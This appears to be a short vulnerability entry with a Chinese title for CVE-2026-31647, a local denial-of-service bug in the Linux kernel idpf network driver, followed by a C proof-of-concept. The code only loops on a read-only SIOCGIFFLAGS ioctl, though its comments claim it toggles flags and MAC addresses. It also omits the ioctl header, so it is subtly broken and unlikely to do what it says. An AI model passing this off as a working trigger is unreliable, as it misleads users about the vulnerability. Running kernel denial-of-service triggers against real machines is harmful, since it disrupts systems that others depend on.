CVE-2026-31647 Linux内核idpf驱动本地拒绝服务漏洞

/* * PoC for CVE-2026-31647 * This is a conceptual trigger for the idpf driver vulnerability. * Requires specific hardware (Intel Ethernet Controller) and kernel config (PREEMPT_RT). */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/if.h> int main() { int sock; struct ifreq ifr; // Create a socket to interact with the network interface sock = socket(AF_INET, SOCK_DGRAM, 0); if (sock < 0) { perror("socket"); return 1; } // Attempt to trigger mac filter operations which utilize the async handler // This involves sending ioctls to the idpf driver interface memset(&ifr, 0, sizeof(ifr)); // Replace 'eth0' with the actual idpf interface name strncpy(ifr.ifr_name, "eth0", IFNAMSIZ - 1); // Rapidly toggling interface flags or MAC address changes may trigger the async path for(int i = 0; i < 1000; i++) { if (ioctl(sock, SIOCGIFFLAGS, &ifr) < 0) { perror("ioctl"); close(sock); return 1; } // Simulate workload that triggers async VC handling usleep(100); } close(sock); printf("PoC executed. Check kernel logs for 'Invalid wait context'.\n"); return 0; }